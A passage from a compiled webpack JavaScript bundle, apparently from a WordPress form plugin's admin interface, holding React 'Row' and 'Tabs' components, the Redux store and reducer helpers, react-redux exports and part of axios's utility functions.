Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var Row = function (_Component) {
	_inherits(Row, _Component);

	function Row(props) {
		_classCallCheck(this, Row);

		return _possibleConstructorReturn(this, (Row.__proto__ || Object.getPrototypeOf(Row)).call(this, props));
	}

	_createClass(Row, [{
		key: 'render',
		value: function render() {
			var columns = _react2.default.Children.map(this.props.children, function (children) {
				return children;
			});

			return _react2.default.createElement(
				'div',
				{ className: 'sui-row' + (!_.isUndefined(this.props.class) ? ' ' + this.props.class : '') },
				columns
			);
		}
	}]);

	return Row;
}(_react.Component);

exports.default = Row;

/***/ }),
/* 9 */
/***/ (function(module, exports, __webpack_require__) {

/* WEBPACK VAR INJECTION */(function(process) {/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */

if (process.env.NODE_ENV !== 'production') {
  var REACT_ELEMENT_TYPE = (typeof Symbol === 'function' &&
    Symbol.for &&
    Symbol.for('react.element')) ||
    0xeac7;

  var isValidElement = function(object) {
    return typeof object === 'object' &&
      object !== null &&
      object.$$typeof === REACT_ELEMENT_TYPE;
  };

  // By explicitly using `prop-types` you are opting into new development behavior.
  // http://fb.me/prop-types-in-prod
  var throwOnDirectAccess = true;
  module.exports = __webpack_require__(116)(isValidElement, throwOnDirectAccess);
} else {
  // By explicitly using `prop-types` you are opting into new production behavior.
  // http://fb.me/prop-types-in-prod
  module.exports = __webpack_require__(118)();
}

/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 10 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var Tabs = function (_Component) {
	_inherits(Tabs, _Component);

	function Tabs(props) {
		_classCallCheck(this, Tabs);

		var _this = _possibleConstructorReturn(this, (Tabs.__proto__ || Object.getPrototypeOf(Tabs)).call(this, props));

		_this.state = {
			active: _this.props.default ? _this.props.default : ''
		};
		return _this;
	}

	_createClass(Tabs, [{
		key: 'toggleValue',
		value: function toggleValue(value) {
			this.setState({
				active: value
			});
		}
	}, {
		key: 'render',
		value: function render() {
			var _this2 = this;

			var defaultValue = this.props.default ? this.props.default : '';

			var type = this.props.type ? this.props.type : 'side-tabs';

			var extraClass = this.props.extraClass ? this.props.extraClass : '';

			var tabTitles = _react2.default.Children.map(this.props.children, function (tab) {
				if (_.isUndefined(tab) || _.isNull(tab)) {
					return;
				}

				return _react2.default.createElement(
					'div',
					{
						className: 'forminator-toggle sui-tab-item' + (tab.props.value === _this2.state.active ? ' active' : ''),
						onClick: _this2.toggleValue.bind(_this2, tab.props.value)
					},
					tab.props.label,
					' ',
					tab.props.required && _react2.default.createElement(
						'span',
						{ className: 'sui-error' },
						'*'
					)
				);
			});

			var tabContents = _react2.default.Children.map(this.props.children, function (tab) {
				if (_.isUndefined(tab) || _.isNull(tab)) {
					return;
				}

				var boxClassValue = !_.isUndefined(tab.props.boxClass) ? tab.props.boxClass : 'sui-tab-content';

				return _react2.default.createElement(
					'div',
					{ className: boxClassValue + (tab.props.value === _this2.state.active ? ' active' : '') },
					tab.props.value === _this2.state.active && tab
				);
			});

			return _react2.default.createElement(
				'div',
				{ className: 'sui-' + type + ' ' + extraClass },
				_react2.default.createElement(
					'div',
					{ className: 'sui-tabs-menu' },
					tabTitles
				),
				_react2.default.createElement(
					'div',
					{ className: 'sui-tabs-content' },
					tabContents
				)
			);
		}
	}]);

	return Tabs;
}(_react.Component);

exports.default = Tabs;

/***/ }),
/* 11 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* WEBPACK VAR INJECTION */(function(process) {/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "createStore", function() { return createStore; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "combineReducers", function() { return combineReducers; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "bindActionCreators", function() { return bindActionCreators; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "applyMiddleware", function() { return applyMiddleware; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "compose", function() { return compose; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "__DO_NOT_USE__ActionTypes", function() { return ActionTypes; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_symbol_observable__ = __webpack_require__(123);


/**
 * These are private action types reserved by Redux.
 * For any unknown actions, you must return the current state.
 * If the current state is undefined, you must return the initial state.
 * Do not reference these action types directly in your code.
 */
var ActionTypes = {
  INIT: '@@redux/INIT' + Math.random().toString(36).substring(7).split('').join('.'),
  REPLACE: '@@redux/REPLACE' + Math.random().toString(36).substring(7).split('').join('.')
};

var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) {
  return typeof obj;
} : function (obj) {
  return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj;
};

var _extends = Object.assign || function (target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i];

    for (var key in source) {
      if (Object.prototype.hasOwnProperty.call(source, key)) {
        target[key] = source[key];
      }
    }
  }

  return target;
};

/**
 * @param {any} obj The object to inspect.
 * @returns {boolean} True if the argument appears to be a plain object.
 */
function isPlainObject(obj) {
  if ((typeof obj === 'undefined' ? 'undefined' : _typeof(obj)) !== 'object' || obj === null) return false;

  var proto = obj;
  while (Object.getPrototypeOf(proto) !== null) {
    proto = Object.getPrototypeOf(proto);
  }

  return Object.getPrototypeOf(obj) === proto;
}

/**
 * Creates a Redux store that holds the state tree.
 * The only way to change the data in the store is to call `dispatch()` on it.
 *
 * There should only be a single store in your app. To specify how different
 * parts of the state tree respond to actions, you may combine several reducers
 * into a single reducer function by using `combineReducers`.
 *
 * @param {Function} reducer A function that returns the next state tree, given
 * the current state tree and the action to handle.
 *
 * @param {any} [preloadedState] The initial state. You may optionally specify it
 * to hydrate the state from the server in universal apps, or to restore a
 * previously serialized user session.
 * If you use `combineReducers` to produce the root reducer function, this must be
 * an object with the same shape as `combineReducers` keys.
 *
 * @param {Function} [enhancer] The store enhancer. You may optionally specify it
 * to enhance the store with third-party capabilities such as middleware,
 * time travel, persistence, etc. The only store enhancer that ships with Redux
 * is `applyMiddleware()`.
 *
 * @returns {Store} A Redux store that lets you read the state, dispatch actions
 * and subscribe to changes.
 */
function createStore(reducer, preloadedState, enhancer) {
  var _ref2;

  if (typeof preloadedState === 'function' && typeof enhancer === 'undefined') {
    enhancer = preloadedState;
    preloadedState = undefined;
  }

  if (typeof enhancer !== 'undefined') {
    if (typeof enhancer !== 'function') {
      throw new Error('Expected the enhancer to be a function.');
    }

    return enhancer(createStore)(reducer, preloadedState);
  }

  if (typeof reducer !== 'function') {
    throw new Error('Expected the reducer to be a function.');
  }

  var currentReducer = reducer;
  var currentState = preloadedState;
  var currentListeners = [];
  var nextListeners = currentListeners;
  var isDispatching = false;

  function ensureCanMutateNextListeners() {
    if (nextListeners === currentListeners) {
      nextListeners = currentListeners.slice();
    }
  }

  /**
   * Reads the state tree managed by the store.
   *
   * @returns {any} The current state tree of your application.
   */
  function getState() {
    if (isDispatching) {
      throw new Error('You may not call store.getState() while the reducer is executing. ' + 'The reducer has already received the state as an argument. ' + 'Pass it down from the top reducer instead of reading it from the store.');
    }

    return currentState;
  }

  /**
   * Adds a change listener. It will be called any time an action is dispatched,
   * and some part of the state tree may potentially have changed. You may then
   * call `getState()` to read the current state tree inside the callback.
   *
   * You may call `dispatch()` from a change listener, with the following
   * caveats:
   *
   * 1. The subscriptions are snapshotted just before every `dispatch()` call.
   * If you subscribe or unsubscribe while the listeners are being invoked, this
   * will not have any effect on the `dispatch()` that is currently in progress.
   * However, the next `dispatch()` call, whether nested or not, will use a more
   * recent snapshot of the subscription list.
   *
   * 2. The listener should not expect to see all state changes, as the state
   * might have been updated multiple times during a nested `dispatch()` before
   * the listener is called. It is, however, guaranteed that all subscribers
   * registered before the `dispatch()` started will be called with the latest
   * state by the time it exits.
   *
   * @param {Function} listener A callback to be invoked on every dispatch.
   * @returns {Function} A function to remove this change listener.
   */
  function subscribe(listener) {
    if (typeof listener !== 'function') {
      throw new Error('Expected the listener to be a function.');
    }

    if (isDispatching) {
      throw new Error('You may not call store.subscribe() while the reducer is executing. ' + 'If you would like to be notified after the store has been updated, subscribe from a ' + 'component and invoke store.getState() in the callback to access the latest state. ' + 'See https://redux.js.org/api-reference/store#subscribe(listener) for more details.');
    }

    var isSubscribed = true;

    ensureCanMutateNextListeners();
    nextListeners.push(listener);

    return function unsubscribe() {
      if (!isSubscribed) {
        return;
      }

      if (isDispatching) {
        throw new Error('You may not unsubscribe from a store listener while the reducer is executing. ' + 'See https://redux.js.org/api-reference/store#subscribe(listener) for more details.');
      }

      isSubscribed = false;

      ensureCanMutateNextListeners();
      var index = nextListeners.indexOf(listener);
      nextListeners.splice(index, 1);
    };
  }

  /**
   * Dispatches an action. It is the only way to trigger a state change.
   *
   * The `reducer` function, used to create the store, will be called with the
   * current state tree and the given `action`. Its return value will
   * be considered the **next** state of the tree, and the change listeners
   * will be notified.
   *
   * The base implementation only supports plain object actions. If you want to
   * dispatch a Promise, an Observable, a thunk, or something else, you need to
   * wrap your store creating function into the corresponding middleware. For
   * example, see the documentation for the `redux-thunk` package. Even the
   * middleware will eventually dispatch plain object actions using this method.
   *
   * @param {Object} action A plain object representing “what changed”. It is
   * a good idea to keep actions serializable so you can record and replay user
   * sessions, or use the time travelling `redux-devtools`. An action must have
   * a `type` property which may not be `undefined`. It is a good idea to use
   * string constants for action types.
   *
   * @returns {Object} For convenience, the same action object you dispatched.
   *
   * Note that, if you use a custom middleware, it may wrap `dispatch()` to
   * return something else (for example, a Promise you can await).
   */
  function dispatch(action) {
    if (!isPlainObject(action)) {
      throw new Error('Actions must be plain objects. ' + 'Use custom middleware for async actions.');
    }

    if (typeof action.type === 'undefined') {
      throw new Error('Actions may not have an undefined "type" property. ' + 'Have you misspelled a constant?');
    }

    if (isDispatching) {
      throw new Error('Reducers may not dispatch actions.');
    }

    try {
      isDispatching = true;
      currentState = currentReducer(currentState, action);
    } finally {
      isDispatching = false;
    }

    var listeners = currentListeners = nextListeners;
    for (var i = 0; i < listeners.length; i++) {
      var listener = listeners[i];
      listener();
    }

    return action;
  }

  /**
   * Replaces the reducer currently used by the store to calculate the state.
   *
   * You might need this if your app implements code splitting and you want to
   * load some of the reducers dynamically. You might also need this if you
   * implement a hot reloading mechanism for Redux.
   *
   * @param {Function} nextReducer The reducer for the store to use instead.
   * @returns {void}
   */
  function replaceReducer(nextReducer) {
    if (typeof nextReducer !== 'function') {
      throw new Error('Expected the nextReducer to be a function.');
    }

    currentReducer = nextReducer;
    dispatch({ type: ActionTypes.REPLACE });
  }

  /**
   * Interoperability point for observable/reactive libraries.
   * @returns {observable} A minimal observable of state changes.
   * For more information, see the observable proposal:
   * https://github.com/tc39/proposal-observable
   */
  function observable() {
    var _ref;

    var outerSubscribe = subscribe;
    return _ref = {
      /**
       * The minimal observable subscription method.
       * @param {Object} observer Any object that can be used as an observer.
       * The observer object should have a `next` method.
       * @returns {subscription} An object with an `unsubscribe` method that can
       * be used to unsubscribe the observable from the store, and prevent further
       * emission of values from the observable.
       */
      subscribe: function subscribe(observer) {
        if ((typeof observer === 'undefined' ? 'undefined' : _typeof(observer)) !== 'object' || observer === null) {
          throw new TypeError('Expected the observer to be an object.');
        }

        function observeState() {
          if (observer.next) {
            observer.next(getState());
          }
        }

        observeState();
        var unsubscribe = outerSubscribe(observeState);
        return { unsubscribe: unsubscribe };
      }
    }, _ref[__WEBPACK_IMPORTED_MODULE_0_symbol_observable__["a" /* default */]] = function () {
      return this;
    }, _ref;
  }

  // When a store is created, an "INIT" action is dispatched so that every
  // reducer returns their initial state. This effectively populates
  // the initial state tree.
  dispatch({ type: ActionTypes.INIT });

  return _ref2 = {
    dispatch: dispatch,
    subscribe: subscribe,
    getState: getState,
    replaceReducer: replaceReducer
  }, _ref2[__WEBPACK_IMPORTED_MODULE_0_symbol_observable__["a" /* default */]] = observable, _ref2;
}

/**
 * Prints a warning in the console if it exists.
 *
 * @param {String} message The warning message.
 * @returns {void}
 */
function warning(message) {
  /* eslint-disable no-console */
  if (typeof console !== 'undefined' && typeof console.error === 'function') {
    console.error(message);
  }
  /* eslint-enable no-console */
  try {
    // This error was thrown as a convenience so that if you enable
    // "break on all exceptions" in your console,
    // it would pause the execution at this line.
    throw new Error(message);
  } catch (e) {} // eslint-disable-line no-empty
}

function getUndefinedStateErrorMessage(key, action) {
  var actionType = action && action.type;
  var actionDescription = actionType && 'action "' + String(actionType) + '"' || 'an action';

  return 'Given ' + actionDescription + ', reducer "' + key + '" returned undefined. ' + 'To ignore an action, you must explicitly return the previous state. ' + 'If you want this reducer to hold no value, you can return null instead of undefined.';
}

function getUnexpectedStateShapeWarningMessage(inputState, reducers, action, unexpectedKeyCache) {
  var reducerKeys = Object.keys(reducers);
  var argumentName = action && action.type === ActionTypes.INIT ? 'preloadedState argument passed to createStore' : 'previous state received by the reducer';

  if (reducerKeys.length === 0) {
    return 'Store does not have a valid reducer. Make sure the argument passed ' + 'to combineReducers is an object whose values are reducers.';
  }

  if (!isPlainObject(inputState)) {
    return 'The ' + argumentName + ' has unexpected type of "' + {}.toString.call(inputState).match(/\s([a-z|A-Z]+)/)[1] + '". Expected argument to be an object with the following ' + ('keys: "' + reducerKeys.join('", "') + '"');
  }

  var unexpectedKeys = Object.keys(inputState).filter(function (key) {
    return !reducers.hasOwnProperty(key) && !unexpectedKeyCache[key];
  });

  unexpectedKeys.forEach(function (key) {
    unexpectedKeyCache[key] = true;
  });

  if (action && action.type === ActionTypes.REPLACE) return;

  if (unexpectedKeys.length > 0) {
    return 'Unexpected ' + (unexpectedKeys.length > 1 ? 'keys' : 'key') + ' ' + ('"' + unexpectedKeys.join('", "') + '" found in ' + argumentName + '. ') + 'Expected to find one of the known reducer keys instead: ' + ('"' + reducerKeys.join('", "') + '". Unexpected keys will be ignored.');
  }
}

function assertReducerShape(reducers) {
  Object.keys(reducers).forEach(function (key) {
    var reducer = reducers[key];
    var initialState = reducer(undefined, { type: ActionTypes.INIT });

    if (typeof initialState === 'undefined') {
      throw new Error('Reducer "' + key + '" returned undefined during initialization. ' + 'If the state passed to the reducer is undefined, you must ' + 'explicitly return the initial state. The initial state may ' + 'not be undefined. If you don\'t want to set a value for this reducer, ' + 'you can use null instead of undefined.');
    }

    var type = '@@redux/PROBE_UNKNOWN_ACTION_' + Math.random().toString(36).substring(7).split('').join('.');
    if (typeof reducer(undefined, { type: type }) === 'undefined') {
      throw new Error('Reducer "' + key + '" returned undefined when probed with a random type. ' + ('Don\'t try to handle ' + ActionTypes.INIT + ' or other actions in "redux/*" ') + 'namespace. They are considered private. Instead, you must return the ' + 'current state for any unknown actions, unless it is undefined, ' + 'in which case you must return the initial state, regardless of the ' + 'action type. The initial state may not be undefined, but can be null.');
    }
  });
}

/**
 * Turns an object whose values are different reducer functions, into a single
 * reducer function. It will call every child reducer, and gather their results
 * into a single state object, whose keys correspond to the keys of the passed
 * reducer functions.
 *
 * @param {Object} reducers An object whose values correspond to different
 * reducer functions that need to be combined into one. One handy way to obtain
 * it is to use ES6 `import * as reducers` syntax. The reducers may never return
 * undefined for any action. Instead, they should return their initial state
 * if the state passed to them was undefined, and the current state for any
 * unrecognized action.
 *
 * @returns {Function} A reducer function that invokes every reducer inside the
 * passed object, and builds a state object with the same shape.
 */
function combineReducers(reducers) {
  var reducerKeys = Object.keys(reducers);
  var finalReducers = {};
  for (var i = 0; i < reducerKeys.length; i++) {
    var key = reducerKeys[i];

    if (process.env.NODE_ENV !== 'production') {
      if (typeof reducers[key] === 'undefined') {
        warning('No reducer provided for key "' + key + '"');
      }
    }

    if (typeof reducers[key] === 'function') {
      finalReducers[key] = reducers[key];
    }
  }
  var finalReducerKeys = Object.keys(finalReducers);

  var unexpectedKeyCache = void 0;
  if (process.env.NODE_ENV !== 'production') {
    unexpectedKeyCache = {};
  }

  var shapeAssertionError = void 0;
  try {
    assertReducerShape(finalReducers);
  } catch (e) {
    shapeAssertionError = e;
  }

  return function combination() {
    var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
    var action = arguments[1];

    if (shapeAssertionError) {
      throw shapeAssertionError;
    }

    if (process.env.NODE_ENV !== 'production') {
      var warningMessage = getUnexpectedStateShapeWarningMessage(state, finalReducers, action, unexpectedKeyCache);
      if (warningMessage) {
        warning(warningMessage);
      }
    }

    var hasChanged = false;
    var nextState = {};
    for (var _i = 0; _i < finalReducerKeys.length; _i++) {
      var _key = finalReducerKeys[_i];
      var reducer = finalReducers[_key];
      var previousStateForKey = state[_key];
      var nextStateForKey = reducer(previousStateForKey, action);
      if (typeof nextStateForKey === 'undefined') {
        var errorMessage = getUndefinedStateErrorMessage(_key, action);
        throw new Error(errorMessage);
      }
      nextState[_key] = nextStateForKey;
      hasChanged = hasChanged || nextStateForKey !== previousStateForKey;
    }
    return hasChanged ? nextState : state;
  };
}

function bindActionCreator(actionCreator, dispatch) {
  return function () {
    return dispatch(actionCreator.apply(this, arguments));
  };
}

/**
 * Turns an object whose values are action creators, into an object with the
 * same keys, but with every function wrapped into a `dispatch` call so they
 * may be invoked directly. This is just a convenience method, as you can call
 * `store.dispatch(MyActionCreators.doSomething())` yourself just fine.
 *
 * For convenience, you can also pass a single function as the first argument,
 * and get a function in return.
 *
 * @param {Function|Object} actionCreators An object whose values are action
 * creator functions. One handy way to obtain it is to use ES6 `import * as`
 * syntax. You may also pass a single function.
 *
 * @param {Function} dispatch The `dispatch` function available on your Redux
 * store.
 *
 * @returns {Function|Object} The object mimicking the original object, but with
 * every action creator wrapped into the `dispatch` call. If you passed a
 * function as `actionCreators`, the return value will also be a single
 * function.
 */
function bindActionCreators(actionCreators, dispatch) {
  if (typeof actionCreators === 'function') {
    return bindActionCreator(actionCreators, dispatch);
  }

  if ((typeof actionCreators === 'undefined' ? 'undefined' : _typeof(actionCreators)) !== 'object' || actionCreators === null) {
    throw new Error('bindActionCreators expected an object or a function, instead received ' + (actionCreators === null ? 'null' : typeof actionCreators === 'undefined' ? 'undefined' : _typeof(actionCreators)) + '. ' + 'Did you write "import ActionCreators from" instead of "import * as ActionCreators from"?');
  }

  var keys = Object.keys(actionCreators);
  var boundActionCreators = {};
  for (var i = 0; i < keys.length; i++) {
    var key = keys[i];
    var actionCreator = actionCreators[key];
    if (typeof actionCreator === 'function') {
      boundActionCreators[key] = bindActionCreator(actionCreator, dispatch);
    }
  }
  return boundActionCreators;
}

/**
 * Composes single-argument functions from right to left. The rightmost
 * function can take multiple arguments as it provides the signature for
 * the resulting composite function.
 *
 * @param {...Function} funcs The functions to compose.
 * @returns {Function} A function obtained by composing the argument functions
 * from right to left. For example, compose(f, g, h) is identical to doing
 * (...args) => f(g(h(...args))).
 */

function compose() {
  for (var _len = arguments.length, funcs = Array(_len), _key = 0; _key < _len; _key++) {
    funcs[_key] = arguments[_key];
  }

  if (funcs.length === 0) {
    return function (arg) {
      return arg;
    };
  }

  if (funcs.length === 1) {
    return funcs[0];
  }

  return funcs.reduce(function (a, b) {
    return function () {
      return a(b.apply(undefined, arguments));
    };
  });
}

/**
 * Creates a store enhancer that applies middleware to the dispatch method
 * of the Redux store. This is handy for a variety of tasks, such as expressing
 * asynchronous actions in a concise manner, or logging every action payload.
 *
 * See `redux-thunk` package as an example of the Redux middleware.
 *
 * Because middleware is potentially asynchronous, this should be the first
 * store enhancer in the composition chain.
 *
 * Note that each middleware will be given the `dispatch` and `getState` functions
 * as named arguments.
 *
 * @param {...Function} middlewares The middleware chain to be applied.
 * @returns {Function} A store enhancer applying the middleware.
 */
function applyMiddleware() {
  for (var _len = arguments.length, middlewares = Array(_len), _key = 0; _key < _len; _key++) {
    middlewares[_key] = arguments[_key];
  }

  return function (createStore) {
    return function () {
      for (var _len2 = arguments.length, args = Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
        args[_key2] = arguments[_key2];
      }

      var store = createStore.apply(undefined, args);
      var _dispatch = function dispatch() {
        throw new Error('Dispatching while constructing your middleware is not allowed. ' + 'Other middleware would not be applied to this dispatch.');
      };

      var middlewareAPI = {
        getState: store.getState,
        dispatch: function dispatch() {
          return _dispatch.apply(undefined, arguments);
        }
      };
      var chain = middlewares.map(function (middleware) {
        return middleware(middlewareAPI);
      });
      _dispatch = compose.apply(undefined, chain)(store.dispatch);

      return _extends({}, store, {
        dispatch: _dispatch
      });
    };
  };
}

/*
 * This is a dummy function to check if the function name has been altered by minification.
 * If the function has been minified and NODE_ENV !== 'production', warn the user.
 */
function isCrushed() {}

if (process.env.NODE_ENV !== 'production' && typeof isCrushed.name === 'string' && isCrushed.name !== 'isCrushed') {
  warning("You are currently using minified code outside of NODE_ENV === 'production'. " + 'This means that you are running a slower development build of Redux. ' + 'You can use loose-envify (https://github.com/zertosh/loose-envify) for browserify ' + 'or DefinePlugin for webpack (http://stackoverflow.com/questions/30030031) ' + 'to ensure you have the correct code for your production build.');
}



/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(2)))

/***/ }),
/* 12 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});
exports.default = Empty;

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function Empty() {
	return '';
}

/***/ }),
/* 13 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__components_Provider__ = __webpack_require__(115);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__components_connectAdvanced__ = __webpack_require__(69);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__connect_connect__ = __webpack_require__(120);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "Provider", function() { return __WEBPACK_IMPORTED_MODULE_0__components_Provider__["b"]; });
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "createProvider", function() { return __WEBPACK_IMPORTED_MODULE_0__components_Provider__["a"]; });
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "connectAdvanced", function() { return __WEBPACK_IMPORTED_MODULE_1__components_connectAdvanced__["a"]; });
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "connect", function() { return __WEBPACK_IMPORTED_MODULE_2__connect_connect__["a"]; });






/***/ }),
/* 14 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var bind = __webpack_require__(80);
var isBuffer = __webpack_require__(163);

/*global toString:true*/

// utils is a library of generic helper functions non-specific to axios

var toString = Object.prototype.toString;

/**
 * Determine if a value is an Array
 *
 * @param {Object} val The value to test
 * @returns {boolean} True if value is an Array, otherwise false
 */
function isArray(val) {
  return toString.call(val) === '[object Array]';
}

/**
 * Determine if a value is an ArrayBuffer
 *
 * @param {Object} val The value to test
 * @returns {boolean} True if value is an ArrayBuffer, otherwise false
 */
function isArrayBuffer(val) {
  return toString.call(val) === '[object ArrayBuffer]';
}

/**
 * Determine if a value is a FormData
 *
 * @param {Object} val The value to test
 * @returns {boolean} True if value is an FormData, otherwise false
 */
function isFormData(val) {
  return (typeof FormData !== 'undefined') && (val instanceof FormData);
}

/**
 * Determine if a value is a view on an ArrayBuffer
 *
 * @param {Object} val The value to test
 * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false
 */
function isArrayBufferView(val) {
  var result;
  if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {
    result = ArrayBuffer.isView(val);
  } else {
    result = (val) && (val.buffer) && (val.buffer instanceof ArrayBuffer);
  }
  return result;
}

/**
 * Determine if a value is a String
 *
 * @param {Object} val The value to test
 * @returns {boolean} True if value is a String, otherwise false
 */
function isString(val) {
  return typeof val === 'string';
}

/**
 * Determine if a value is a Number
 *
 * @param {Object} val The value to test
 * @returns {boolean} True if value is a Number, otherwise false
 */
function isNumber(val) {
  return typeof val === 'number';
}

/**
 * Determine if a value is undefined
 *
 * @param {Object} val The value to test
 * @returns {boolean} True if the value is undefined, otherwise false
 */
function isUndefined(val) {
  return typeof val === 'undefined';
}

/**
 * Determine if a value is an Object
 *
 * @param {Object} val The value to test
 * @returns {boolean} True if value is an Object, otherwise false
 */
function isObject(val) {
  return val !== null && typeof val === 'object';
}

/**
 * Determine if a value is a Date
 *
 * @param {Object} val The value to test
 * @returns {boolean} True if value is a Date, otherwise false
 */
function isDate(val) {
  return toString.call(val) === '[object Date]';
}

/**
 * Determine if a value is a File
 *
 * @param {Object} val The value to test
 * @returns {boolean} True if value is a File, otherwise false
 */
function isFile(val) {
  return toString.call(val) === '[object File]';
}

/**
 * Determine if a value is a Blob
 *
 * @param {Object} val The value to test
 * @returns {boolean} True if value is a Blob, otherwise false
 */
function isBlob(val) {
  return toString.call(val) === '[object Blob]';
}

/**
 * Determine if a value is a Function
 *
 * @param {Object} val The value to test
 * @returns {boolean} True if value is a Function, otherwise false
 */
function isFunction(val) {
  return toString.call(val) === '[object Function]';
}

/**
 * Determine if a value is a Stream
 *
 * @param {Object} val The value to test
 * @returns {boolean} True if value is a Stream, otherwise false
 */
function isStream(val) {
  return isObject(val) && isFunction(val.pipe);
}

/**
 * Determine if a value is a URLSearchParams object
 *
 * @param {Object} val The value to test
 * @returns {boolean} True if value is a URLSearchParams object, otherwise false
 */
function isURLSearchParams(val) {
  return typeof URLSearchParams !== 'undefined' && val instanceof URLSearchParams;
}

/**
 * Trim excess whitespace off the beginning and end of a string
 *
 * @param {String} str The String to trim
 * @returns {String} The String freed of excess whitespace
 */
function trim(str) {
  return str.replace(/^\s*/, '').replace(/\s*$/, '');
}

/**
 * Determine if we're running in a standard browser environment
 *
 * This allows axios to run in a web worker, and react-native.
 * Both environments support XMLHttpRequest, but not fully standard globals.
 *
 * web workers:
 *  typeof window -> undefined
 *  typeof document -> undefined
 *
 * react-native:
 *  navigator.product -> 'ReactNative'
 */
function isStandardBrowserEnv() {
  if (typeof navigator !== 'undefined' && navigator.product === 'ReactNative') {
    return false;
  }
  return (
    typeof window !== 'undefined' &&
    typeof document !== 'undefined'
  );
}

/**
 * Iterate over an Array or an Object invoking a function for each item.
 *
 * If `obj` is an Array callback will be called passing
 * the value, index, and complete array for each item.
 *
 * If 'obj' is an Object callback will be called passing
 * the value, key, and complete object for each property.
 *
 * @param {Object|Array} obj The object to iterate
 * @param {Function} fn The callback to invoke for each item
 */
function forEach(obj, fn) {
  // Don't bother if no value provided
  if (obj === null || typeof obj === 'undefined') {
    return;
  }

  // Force an array if not already something iterable
  if (typeof obj !== 'object') {
    /*eslint no-param-reassign:0*/
    obj = [obj];
  }

  if (isArray(obj)) {
    // Iterate over array values
    for (var i = 0, l = obj.length; i < l; i++) {
      fn.call(null, obj[i], i, obj);
    }
  } else {
    // Iterate over object keys
    for (var key in obj) {
      if (Object.prototype.hasOwnProperty.call(obj, key)) {
        fn.call(null, obj[key], key, obj);
      }
    }
  }
}

/**
 * Accepts varargs expecting each argument to be an object, then
 * immutably merges the properties of each object and returns result.
 *
